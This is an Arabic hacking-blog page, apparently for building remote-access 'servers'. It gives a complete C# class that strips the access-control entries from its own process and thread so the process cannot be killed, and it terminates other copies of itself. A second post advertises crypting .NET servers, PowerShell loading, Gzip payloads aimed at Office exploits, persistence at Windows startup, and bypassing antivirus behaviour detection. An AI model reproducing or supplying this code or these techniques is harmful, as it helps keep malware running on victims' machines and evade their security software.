إظهار الرسائل ذات التسميات C#. إظهار كافة الرسائل
إظهار الرسائل ذات التسميات C#. إظهار كافة الرسائل
أقدم لكم كلاس بسيط لإضافة كلاس لمنع قتل عملية السيرفر من البروسس
بدون إطالة
الشرح على يوتيوب :
الأكواد من هنا :
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.AccessControl;
using System.Text;
/*
Author: Elm0D, Twitter: @Elm0D
*
* Usage:
ProtectProcess.Protect();
*
Based on
* https://gist.github.com/subTee/9808dd07493601cb30fc97bdbe832f71
*/
class ProtectProcess
{
public static void Protect()
{
IntPtr hProcess = GetCurrentProcess();
// Read the DACL
var dacl = GetProcessSecurityDescriptor(hProcess);
// Remove ACE
ThreadACE();
for (int i = 0; i < dacl.DiscretionaryAcl.Count; i++)
{
dacl.DiscretionaryAcl.RemoveAce(i);
}
SetProcessSecurityDescriptor(hProcess, dacl);
Chink();
Choke();
}
private static void Choke()
{
Process[] processlist = Process.GetProcesses();
int nProcessID = Process.GetCurrentProcess().Id;
foreach (Process theprocess in processlist)
{
if (theprocess.ProcessName.Equals(Process.GetCurrentProcess().ProcessName) && theprocess.Id != nProcessID)
{
IntPtr procPtr = OpenProcess(ProcessAccessRights.WRITE_DAC, false, theprocess.Id);
IntPtr hProcess = GetCurrentProcess();
var dacl = GetProcessSecurityDescriptor(hProcess);
SetProcessSecurityDescriptor(procPtr, dacl);
CloseHandle(procPtr);
procPtr = OpenProcess(ProcessAccessRights.PROCESS_TERMINATE, false, theprocess.Id);
TerminateProcess(procPtr, 1);
}
}
}
private static void Chink()
{
Process[] processlist = Process.GetProcesses();
int nProcessID = Process.GetCurrentProcess().Id;
foreach (Process theprocess in processlist)
{
if (theprocess.ProcessName.Equals(Process.GetCurrentProcess().ProcessName) && theprocess.Id != nProcessID)
{
foreach (ProcessThread td in theprocess.Threads)
{
if (theprocess.ProcessName.Equals(Process.GetCurrentProcess().ProcessName) && theprocess.Id != nProcessID)
{
IntPtr tdPtr = OpenThread(ThreadAccess.TERMINATE, false, (uint)td.Id);
}
}
}
}
}
private static void ThreadACE()
{
Process[] processlist = Process.GetProcesses();
int nProcessID = Process.GetCurrentProcess().Id;
foreach (Process theprocess in processlist)
{
if (theprocess.ProcessName.Equals(Process.GetCurrentProcess().ProcessName) && theprocess.Id == nProcessID)
{
foreach (ProcessThread td in theprocess.Threads)
{
if (theprocess.ProcessName.Equals(Process.GetCurrentProcess().ProcessName) && theprocess.Id == nProcessID)
{
IntPtr tdPtr = OpenThread(ThreadAccess.THREAD_ALL_ACCESS, false, (uint)td.Id);
var tdacl = GetProcessSecurityDescriptor(tdPtr);
for (int i = 0; i < tdacl.DiscretionaryAcl.Count; i++)
{
tdacl.DiscretionaryAcl.RemoveAce(i);
}
SetProcessSecurityDescriptor(tdPtr, tdacl);
}
}
}
}
}
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool GetKernelObjectSecurity(IntPtr Handle, int securityInformation, [Out] byte[] pSecurityDescriptor,
uint nLength, out uint lpnLengthNeeded);
private static RawSecurityDescriptor GetProcessSecurityDescriptor(IntPtr processHandle)
{
const int DACL_SECURITY_INFORMATION = 0x00000004;
byte[] psd = new byte[0];
uint bufSizeNeeded;
// Call with 0 size to obtain the actual size needed in bufSizeNeeded
GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, psd, 0, out bufSizeNeeded);
if (bufSizeNeeded < 0 || bufSizeNeeded > short.MaxValue)
throw new Win32Exception();
// Allocate the required bytes and obtain the DACL
if (!GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION,
psd = new byte[bufSizeNeeded], bufSizeNeeded, out bufSizeNeeded))
throw new Win32Exception();
// Use the RawSecurityDescriptor class from System.Security.AccessControl to parse the bytes:
return new RawSecurityDescriptor(psd, 0);
}
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool SetKernelObjectSecurity(IntPtr Handle, int securityInformation, [In] byte[] pSecurityDescriptor);
private static void SetProcessSecurityDescriptor(IntPtr processHandle, RawSecurityDescriptor dacl)
{
const int DACL_SECURITY_INFORMATION = 0x00000004;
byte[] rawsd = new byte[dacl.BinaryLength];
dacl.GetBinaryForm(rawsd, 0);
if (!SetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, rawsd))
throw new Win32Exception();
}
[DllImport("Kernel32.dll", CharSet = CharSet.Auto)]
private static extern int TerminateThread(IntPtr hThread);
[DllImport("kernel32.dll")]
private static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
[Flags]
private enum ThreadAccess : int
{
TERMINATE = (0x0001),
SUSPEND_RESUME = (0x0002),
GET_CONTEXT = (0x0008),
SET_CONTEXT = (0x0010),
SET_INFORMATION = (0x0020),
QUERY_INFORMATION = (0x0040),
SET_THREAD_TOKEN = (0x0080),
IMPERSONATE = (0x0100),
DIRECT_IMPERSONATION = (0x0200),
SYNCHRONIZE = (0x00100000),
STANDARD_RIGHTS_REQUIRED = 0x000f0000,
THREAD_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x3FF)
}
[DllImport("kernel32.dll")]
private static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll")]
private static extern IntPtr OpenProcess(
ProcessAccessRights processAccess,
bool bInheritHandle,
int processId
);
private static IntPtr OpenProcess(Process proc, ProcessAccessRights flags)
{
return OpenProcess(flags, false, proc.Id);
}
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hHandle);
[Flags]
private enum ProcessAccessRights
{
PROCESS_CREATE_PROCESS = 0x0080, // Required to create a process.
PROCESS_CREATE_THREAD = 0x0002, // Required to create a thread.
PROCESS_DUP_HANDLE = 0x0040, // Required to duplicate a handle using DuplicateHandle.
PROCESS_QUERY_INFORMATION = 0x0400, // Required to retrieve certain information about a process, such as its token, exit code, and priority class (see OpenProcessToken, GetExitCodeProcess, GetPriorityClass, and IsProcessInJob).
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000, // Required to retrieve certain information about a process (see QueryFullProcessImageName). A handle that has the PROCESS_QUERY_INFORMATION access right is automatically granted PROCESS_QUERY_LIMITED_INFORMATION. Windows Server 2003 and Windows XP/2000: This access right is not supported.
PROCESS_SET_INFORMATION = 0x0200, // Required to set certain information about a process, such as its priority class (see SetPriorityClass).
PROCESS_SET_QUOTA = 0x0100, // Required to set memory limits using SetProcessWorkingSetSize.
PROCESS_SUSPEND_RESUME = 0x0800, // Required to suspend or resume a process.
PROCESS_TERMINATE = 0x0001, // Required to terminate a process using TerminateProcess.
PROCESS_VM_OPERATION = 0x0008, // Required to perform an operation on the address space of a process (see VirtualProtectEx and WriteProcessMemory).
PROCESS_VM_READ = 0x0010, // Required to read memory in a process using ReadProcessMemory.
PROCESS_VM_WRITE = 0x0020, // Required to write to memory in a process using WriteProcessMemory.
DELETE = 0x00010000, // Required to delete the object.
READ_CONTROL = 0x00020000, // Required to read information in the security descriptor for the object, not including the information in the SACL. To read or write the SACL, you must request the ACCESS_SYSTEM_SECURITY access right. For more information, see SACL Access Right.
SYNCHRONIZE = 0x00100000, // The right to use the object for synchronization. This enables a thread to wait until the object is in the signaled state.
WRITE_DAC = 0x00040000, // Required to modify the DACL in the security descriptor for the object.
WRITE_OWNER = 0x00080000, // Required to change the owner in the security descriptor for the object.
STANDARD_RIGHTS_REQUIRED = 0x000f0000,
PROCESS_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFF),// All possible access rights for a process object.
}
}
أقدم لكم شرح بسيط لتشفير سيرفرات الدوت نت وتثبيتها وتخطى الدفاع الإستباقي لبرامج الحماية
بدون إطالة
أولا : الأكواد المستخدمة مفتوحة المصدر لإستدعاء PowerShell
بدون إطالة
أولا : الأكواد المستخدمة مفتوحة المصدر لإستدعاء PowerShell
ثانيا: إستخدام خورزمية Gzip من خلال PowerShell
(يمكن إستخدامها فى أغراض عديدة وبالاخص ثغرات الأوفيس).
ثالثا والأهم :
تثبيت السيرفر عند تشغيل الويندوز
وحل لمشكلة عدم الاتصال عند بدء التشغيل التى تؤدي لانعطاب السيرفر
وده من خلال فحص لوجود الانترنت من عدمه فى شكل Loop
(يمكن إستخدامها فى أغراض عديدة وبالاخص ثغرات الأوفيس).
ثالثا والأهم :
تثبيت السيرفر عند تشغيل الويندوز
وحل لمشكلة عدم الاتصال عند بدء التشغيل التى تؤدي لانعطاب السيرفر
وده من خلال فحص لوجود الانترنت من عدمه فى شكل Loop
الشرح على يوتيوب :
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